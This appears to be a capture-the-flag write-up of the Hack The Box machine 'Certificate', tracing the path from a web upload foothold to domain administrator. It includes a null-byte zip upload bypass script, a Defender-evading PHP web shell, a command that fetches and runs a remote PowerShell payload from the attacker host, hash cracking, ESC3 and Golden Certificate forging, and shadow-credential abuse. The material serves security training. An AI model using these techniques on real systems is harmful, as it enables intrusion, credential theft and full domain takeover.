Post

Certificate

Certificate is a hard difficulty active directory machine with an upload vulnerability as foothold.

Certificate

About

Certificate

Certificate

Difficulty: Hard

OS: Windows

Release date: 2025-05-30

Authors: Spectra199

Disclaimer

The solutions described in this writeup were discovered in a group effort and not found by me alone. Thanks to all contributors.

Summary

Using a specially crafted zip file we can upload a web shell and get a foothold that allows us to the read the database used by the web application. Cracking a hash gives us access to an active directory user. By cracking hashes in captured packets we gain control of another user that can create certificates for any non-protected user using an ESC3 vulnerability. One of those users has SeManageVolume privileges that can be used to extract the private key of the CA and forge a certificate for the domain administrator.

Recon

Rustscan and nmap report the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
53/tcp    open  domain        (generic dns response: SERVFAIL)
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-01 03:01:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
53/udp  open  domain       udp-response ttl 127 (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec udp-response ttl 127 Microsoft Windows Kerberos (server time: 2025-06-01 03:00:41Z)
123/udp open  ntp          udp-response ttl 127 NTP v3
389/udp open  ldap         udp-response ttl 127 Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)

Besides the typical DC ports, port 80 is running Apache.
It’s a learning platform where you can take courses and earn certificates. Front page

We can create a student account and enroll in courses. Create user

Enroll

After enrolling, we see a course outline and can submit quizes.

Course outline

The uploads can be in pdf, docx, pptx, xlsx or zip formats and will be put in the static folder afterwards.

Upload

User

xamppuser

The server headers and extensions make it clear that php is enabled so the goal is to get a php file past the filters.

There is a whitelist for extensions, and anything that is not ending in the given extension results in The request you sent contains bad or malicious content(Invalid Extension).

To bypass this filter, we can use a zero byte character in the file name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import zipfile
import os

# Paths
zip_path = 'shell.zip'
new_zip_path = 'shell2.zip'
old_filename = 'shell.php'
new_filename = 'shell.php\x00.pdf'

# Open the original ZIP and create a new one
with zipfile.ZipFile(zip_path, 'r') as zip_read:
    with zipfile.ZipFile(new_zip_path, 'w') as zip_write:
        for item in zip_read.infolist():
            original_data = zip_read.read(item.filename)
            # Rename the target file
            if item.filename == old_filename:
                item.filename = new_filename
            zip_write.writestr(item, original_data)

print(f'Renamed {old_filename} to {new_filename} inside {new_zip_path}')

This python script renames shell.php inside shell.zip and creates a new zip file with the mentioned null byte exploit.

My goto minimal php shell looks something like this

1
<?php system($_REQUEST['cmd'])?>

Uploading it fails with a slightly different message:
The request you sent contains bad or malicious content.

On a hard machine, chances are Windows Defender is enabled. A quick check on our Windows machine confirms that this script is flagged.
Using sophisticated evasion methods and ThreatCheck, we can come up with an adapted script.

1
2
3
4
<?php
# Defender is joke
system($_REQUEST['cmd'])
?>

We can now zip it, apply the exploit and upload it.

1
2
zip shell.zip shell.php
python3 exploit.py

We get code execution as xamppuser

1
2
$ curl http://certificate.htb/static/uploads/761998a043d56a52bd3f46a3bda61273/shell.php?cmd=whoami
certificate\xamppuser

With windows defender in mind, you can use obfuscated powershell or upload some reverse shells to get a proper shell.
Netcat and ConPtyShell worked fine. Lately I have been using goncat to get nice interactive windows reverse shells.
In the end, my command looked like this

1
curl 'http://certificate.htb/static/uploads/761998a043d56a52bd3f46a3bda61273/shell.php?cmd=powershell%20-c%20%22irm%2010.10.14.75/revgon.ps1%7Ciex%22'

Alternative method

Instead of a null byte, we can also combine two zip files to get past the filter.

1
2
3
4
touch harmless.pdf
zip harmless.zip harmless.pdf
zip evil.zip shell.php
cat harmless.zip evil.zip > shell.zip

sara.b

Looking through the web application we just exploited, we quickly find the database credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

We can forward port 3306 to our attacker using e.g. chisel and then dump the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ mysql -u certificate_webapp_user -p'cert!f!c@teDBPWD' -D Certificate_WEBAPP_DB --protocol=tcp --skip-ssl
select email,password from users;
+---------------------------+--------------------------------------------------------------+
| email                     | password                                                     |
+---------------------------+--------------------------------------------------------------+
| lorra.aaa@certificate.htb | $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG |
| sara1200@gmail.com        | $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK |
| johny009@mail.com         | $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq |
| havokww@hotmail.com       | $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti |
| steven@yahoo.com          | $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2 |
| sara.b@certificate.htb    | $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 |
| john@mail.com             | $2y$04$5skFd9HqJmo2HI06wAUgK.DGfQsGMURp7qVAzQaX.ZEaQk6mnR.4K |
+---------------------------+--------------------------------------------------------------+

We get 6 bcrypt hashes we can attempt to crack.
Using hashcat with mode 3200 we can crack the hash for sara.b.

The credentials are valid for active directory and we even have winrm access.

1
2
3
$ nxc winrm certificate.htb -u sara.b -p Blink182                                                                  
WINRM       10.129.219.191  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb) 
WINRM       10.129.219.191  5985   DC01             [+] certificate.htb\sara.b:Blink182 (Pwn3d!)

lion.sk

Under C:\Users\Sara.B\Documents\WS-01\WS-01_PktMon.pcap we find a packet capture file. It contains successful and unsuccessful authentications to the WS-01 server.

We can use Krb5RoastParser to extract hashes from it.

If we prefix the as_req hash with the username, john can crack it

1
2
$ python3 krb5_roast_parser.py ../WS-01_PktMon.pcap as_req                                                                                      
$krb5pa$18$Lion.SK$CERTIFICATE$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
1
lion.sk:$krb5pa$18$Lion.SK$CERTIFICATE.HTB$CERTIFICATE.HTBLion.SK$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
1
2
$ john --show asreq.hash            
lion.sk:!QAZ2wsx

This user is also in Remote Management Users and we can find the user flag on the desktop.

1
evil-winrm -i certificate.htb -u lion.sk -p '!QAZ2wsx'

Root

ryan.k

lion.sk is in the group CERTIFICATE\Domain CRA Managers. We check certipy if we can exploit it.

1
certipy find -target dc01.certificate.htb -dc-ip 10.129.219.191 -u lion.sk@certificate.htb -p '!QAZ2wsx' -stdout -vulnerable

It tells us about an ESC3 vulnerability that we can abuse with our group membership.

The certipy wiki also tells us how to do that.

1
certipy req -u lion.sk@certificate.htb -p '!QAZ2wsx' -dc-ip 10.129.219.191 -target dc01.certificate.htb -ca Certificate-LTD-CA -template Delegated-CRA

Which user to target is not very obvious and Administrator doesn’t work. Bloodhound doesn’t mark any other users as high value but there is one user with an interesting additional group membership.

Bloodhound ryan.k

ryan.k is in Domain Storage Managers.

Let’s finish the ESC3 chain and get the user’s hash.

1
2
certipy req -u lion.sk -p '!QAZ2wsx' -pfx lion.sk.pfx -dc-ip 10.129.219.191 -target dc01.certificate.htb -ca Certificate-LTD-CA -template SignedUser -on-behalf-of ryan.k 
certipy auth -pfx 'ryan.k.pfx' -dc-ip 10.129.219.191

Use faketime -f +8h to account for the clock skew.

We get the hash and can log in with winrm.

1
evil-winrm -i certificate.htb -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6

Administrator

After logging in we notice that we have the SeManageVolume privilege.

We should be able to abuse it to get full access to the filesystem. We can compile the exploit from xct and transfer it to the machine.

It succeeds but we still cannot read the root flag.

We can however use it to read the private key of the CA and perform a Golden Certificate attack.

certutil shows us the available certificates.

1
certutil -store

Certificate 3 is the one we are interested in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
================ Certificate 3 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM                                                
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA      
CA Version: V0.0              
Signature matches Public Key  
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority 
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
No key provider information                                                  
  Provider = Microsoft Software Key Storage Provider    
  Simple container name: Certificate-LTD-CA     
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  ERROR: missing key association property: CERT_KEY_IDENTIFIER_PROP_ID
Signature test passed

We can export is like so:

1
certutil -exportpfx my "75b2f4bbf31f108945147b466131bdca" ca_exported.pfx

With this we can forge any certificates, e.g. for Administrator.

1
certipy forge -ca-pfx 'ca_exported.pfx' -upn ADMINISTRATOR@CERTIFICATE.HTB -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB' 

And get the hash.

1
certipy auth -pfx administrator_forged.pfx -dc-ip 10.129.219.191

This gives us access to the root flag.

Unintended (patched)

For god knows what reason, sara.b, the first active directory user we get, has GenericWrite rights on large number of objects in the domain. Probably added by HTB.
We can perform shadow credential attacks to get access to the user flag (skipping the pcap part) and the users needed for the root path, e.g.

1
certipy shadow auto -target dc01.certificate.htb -dc-ip 10.129.219.191 -u Sara.B@certificate.htb -p Blink182 -account ryan.k

We can also just add sara.b to the relevant groups and use her for the last steps.

1
2
bloodyAD --host certificate.htb -d certificate.htb -u Sara.B -p Blink182 add groupMember 'Domain CRA Managers' Sara.B
bloodyAD --host certificate.htb -d certificate.htb -u Sara.B -p Blink182 add groupMember 'Domain Storage Managers' Sara.B

More unintended (patched)

If we add sara.b to the group IIS_USERS and log in.

1
bloodyAD --host certificate.htb -d certificate.htb -u Sara.B -p Blink182 add groupMember IIS_IUSRS Sara.B

We find that we have the SeImpersonate privilege.
You can check the other writeups on how to abuse it.

This post is licensed under CC BY 4.0 by the author.